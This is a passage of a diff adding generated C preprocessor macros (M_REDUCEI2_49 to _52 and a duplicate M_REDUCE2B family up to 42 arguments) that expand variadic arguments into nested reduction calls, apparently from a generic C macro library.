_48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_49(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), f(d, _49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_50(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), f(d, _50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_51(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), f(d, _51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2_52(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), g(f(d, _51), f(d, _52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Duplicate of M_REDUCE2 for use by API transformation */
+#define M_REDUCE2B(...)                    M_REDUCEI2B_0(__VA_ARGS__)
+#define M_REDUCEI2B_0(f, g, d, ...)        M_C(M_REDUCEI2B_, M_NARGS(__VA_ARGS__))(f, g, d, __VA_ARGS__)
+#define M_REDUCEI2B_1(f,g,d,_1) f(d, _1)
+#define M_REDUCEI2B_2(f,g,d,_1, _2) g(f(d, _1), f(d, _2))
+#define M_REDUCEI2B_3(f,g,d,_1, _2, _3) g(f(d, _1), g(f(d, _2), f(d, _3)))
+#define M_REDUCEI2B_4(f,g,d,_1, _2, _3, _4) g(f(d, _1), g(f(d, _2), g(f(d, _3), f(d, _4))))
+#define M_REDUCEI2B_5(f,g,d,_1, _2, _3, _4, _5) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), f(d, _5)))))
+#define M_REDUCEI2B_6(f,g,d,_1, _2, _3, _4, _5, _6) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), f(d, _6))))))
+#define M_REDUCEI2B_7(f,g,d,_1, _2, _3, _4, _5, _6, _7) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), f(d, _7)))))))
+#define M_REDUCEI2B_8(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), f(d, _8))))))))
+#define M_REDUCEI2B_9(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), f(d, _9)))))))))
+#define M_REDUCEI2B_10(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), f(d, _10))))))))))
+#define M_REDUCEI2B_11(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), f(d, _11)))))))))))
+#define M_REDUCEI2B_12(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), f(d, _12))))))))))))
+#define M_REDUCEI2B_13(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), f(d, _13)))))))))))))
+#define M_REDUCEI2B_14(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), f(d, _14))))))))))))))
+#define M_REDUCEI2B_15(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), f(d, _15)))))))))))))))
+#define M_REDUCEI2B_16(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), f(d, _16))))))))))))))))
+#define M_REDUCEI2B_17(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), f(d, _17)))))))))))))))))
+#define M_REDUCEI2B_18(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), f(d, _18))))))))))))))))))
+#define M_REDUCEI2B_19(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), f(d, _19)))))))))))))))))))
+#define M_REDUCEI2B_20(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), f(d, _20))))))))))))))))))))
+#define M_REDUCEI2B_21(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), f(d, _21)))))))))))))))))))))
+#define M_REDUCEI2B_22(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), f(d, _22))))))))))))))))))))))
+#define M_REDUCEI2B_23(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), f(d, _23)))))))))))))))))))))))
+#define M_REDUCEI2B_24(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), f(d, _24))))))))))))))))))))))))
+#define M_REDUCEI2B_25(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), f(d, _25)))))))))))))))))))))))))
+#define M_REDUCEI2B_26(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), f(d, _26))))))))))))))))))))))))))
+#define M_REDUCEI2B_27(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), f(d, _27)))))))))))))))))))))))))))
+#define M_REDUCEI2B_28(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), f(d, _28))))))))))))))))))))))))))))
+#define M_REDUCEI2B_29(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), f(d, _29)))))))))))))))))))))))))))))
+#define M_REDUCEI2B_30(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), f(d, _30))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_31(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), f(d, _31)))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_32(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), f(d, _32))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_33(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), f(d, _33)))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_34(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), f(d, _34))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_35(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), f(d, _35)))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_36(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), f(d, _36))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_37(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), f(d, _37)))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_38(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), f(d, _38))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_39(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), f(d, _39)))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_40(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), f(d, _40))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_41(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), f(d, _41)))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_42(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), f(d, _42))))))))))))))))))))))))))))))))))))))))))
